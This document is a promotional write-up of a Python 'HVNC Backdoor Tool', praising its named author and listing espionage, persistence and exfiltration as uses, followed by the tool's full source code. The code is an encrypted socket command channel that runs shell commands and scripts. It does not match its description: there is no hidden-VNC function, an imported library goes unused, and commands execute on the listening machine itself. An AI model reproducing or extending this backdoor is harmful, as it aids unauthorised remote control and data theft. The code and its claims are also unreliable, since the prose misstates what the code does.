HVNC BACKDOOR TOOL

**HVNC Backdoor Tool Analysis**

**Overview:**
The HVNC Backdoor Tool, authored by Michael Errington, represents a sophisticated Remote Access Tool (RAT) designed for covert and remote administration of target systems. This analysis delves into the tool's functionalities and highlights the technical prowess demonstrated by its creator.

**Key Features:**

1. **Secure Communication:**
   - HVNC employs socket programming for establishing a secure communication channel, demonstrating a solid understanding of network protocols.
   - Utilizes PBKDF2 for key derivation, enhancing the encryption of communications and ensuring a secure exchange of information.

2. **Cryptographic Expertise:**
   - Demonstrates proficiency in cryptography by implementing the AES algorithm in CFB mode for data encryption. This ensures the confidentiality of data transmitted over the network.

3. **Command Execution Capabilities:**
   - HVNC facilitates a range of remote administration tasks, including the execution of system commands, advanced logic for simulated file searches, harvesting device data, retrieving system information, and running custom scripts.
   - The tool's user-friendly menu system streamlines the interaction, allowing attackers to easily execute a variety of commands on the compromised system.

4. **Dynamic Scripting and Automation:**
   - Michael Errington showcases a skillful grasp of scripting and automation by enabling the execution of custom scripts. This feature enhances the tool's adaptability and expands its functionality.

5. **Flexible Command Handling:**
   - The backdoor's ability to handle diverse commands, from basic system operations to advanced logic, underscores the author's versatility in creating a tool adaptable to various scenarios.

**Potential Uses:**
The HVNC Backdoor Tool's capabilities make it a versatile instrument for various malicious activities, including:
- **Espionage:** Gather sensitive information by executing commands to retrieve system details or custom scripts tailored for data exfiltration.
- **Persistence:** Run custom scripts to establish persistence on compromised systems, ensuring prolonged unauthorized access.
- **Remote Manipulation:** Simulate file searches or execute arbitrary commands for remote manipulation of files and directories.

**Conclusion:**
Authored by Michael Errington, the HVNC Backdoor Tool reflects a high level of technical expertise in network communication, cryptography, and scripting. Its capabilities for remote administration and flexible command execution make it a potent tool for a range of malicious activities. Organizations should remain vigilant and employ robust security measures to detect and prevent the unauthorized use of such tools.

import socket
import subprocess
import paramiko
import threading
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

class SecureConnectionManager:
    def __init__(self, host, port, password):
        self.host = host
        self.port = port
        self.password = password

    def establish_connection(self):
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_socket.bind((self.host, self.port))
        server_socket.listen(1)

        client_socket, _ = server_socket.accept()
        shared_key = self.derive_shared_key(client_socket)
        return client_socket, shared_key

    def derive_shared_key(self, client_socket):
        salt = client_socket.recv(16)
        kdf = PBKDF2HMAC(
            algorithm=hashes.SHA256(),
            iterations=100000,
            salt=salt,
            length=32,
            backend=default_backend()
        )
        key = kdf.derive(self.password.encode())
        return key

    def encrypt(self, data, key):
        cipher = Cipher(algorithms.AES(key), modes.CFB(b'\0' * 16), backend=default_backend())
        encryptor = cipher.encryptor()
        encrypted_data = encryptor.update(data.encode()) + encryptor.finalize()
        return encrypted_data

    def decrypt(self, encrypted_data, key):
        cipher = Cipher(algorithms.AES(key), modes.CFB(b'\0' * 16), backend=default_backend())
        decryptor = cipher.decryptor()
        decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
        return decrypted_data.decode()

    def send_command(self, client_socket, command, key):
        encrypted_command = self.encrypt(command, key)
        client_socket.send(encrypted_command)

    def receive_output(self, client_socket, key):
        encrypted_response = client_socket.recv(4096)
        response = self.decrypt(encrypted_response, key)
        return response

    def close_connection(self, client_socket):
        client_socket.close()

class AdminTool:
    @staticmethod
    def execute_command(command):
        try:
            output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, universal_newlines=True)
        except subprocess.CalledProcessError as e:
            output = f"Error: {e.output}"

        return output

    @staticmethod
    def handle_advanced_logic(command):
        # Realistic example: Check if the command is a file search and execute it.
        if "search_files" in command:
            result = subprocess.check_output(["find", "/path/to/search", "-name", "*.txt"], universal_newlines=True)
        else:
            result = "Invalid advanced command."

        return result

    @staticmethod
    def harvest_device_data():
        # Realistic example: Fetch system information using a custom script.
        try:
            data = subprocess.check_output(["python", "system_info_script.py"], universal_newlines=True)
        except subprocess.CalledProcessError as e:
            data = f"Error harvesting device data: {e.output}"

        return data

    @staticmethod
    def system_info():
        try:
            info = subprocess.check_output(['systeminfo'], shell=True, universal_newlines=True)
        except subprocess.CalledProcessError as e:
            info = f"Error retrieving system information: {e.output}"

        return info

    @staticmethod
    def run_custom_script(script_path):
        try:
            result = subprocess.check_output(['python', script_path], shell=True, universal_newlines=True)
        except subprocess.CalledProcessError as e:
            result = f"Error running custom script: {e.output}"

        return result

if __name__ == '__main__':
    password = "your_super_secret_password"
    connection_manager = SecureConnectionManager("127.0.0.1", 8000, password)

    try:
        client_socket, shared_key = connection_manager.establish_connection()

        options = {
            "1": ("Run System Command", "echo 'Hello, World!'"),
            "2": ("Advanced Logic", "search_files"),
            "3": ("Harvest Device Data", "harvest_data"),
            "4": ("System Information", "system_info"),
            "5": ("Run Custom Script", "custom_script.py")
        }

        for key, (description, command) in options.items():
            print(f"{key}. {description}")

        choice = input("Select an option: ")

        if choice in options:
            admin_command = options[choice][1]

            if admin_command == "search_files":
                response = AdminTool.handle_advanced_logic(admin_command)
            elif admin_command == "harvest_data":
                response = AdminTool.harvest_device_data()
            elif admin_command == "system_info":
                response = AdminTool.system_info()
            elif admin_command == "custom_script.py":
                response = AdminTool.run_custom_script(admin_command)
            else:
                response = AdminTool.execute_command(admin_command)

            connection_manager.send_command(client_socket, response, shared_key)
            print(f"Response: {response}")

        connection_manager.close_connection(client_socket)

    except Exception as e:
        print(f"Error in main execution: {e}")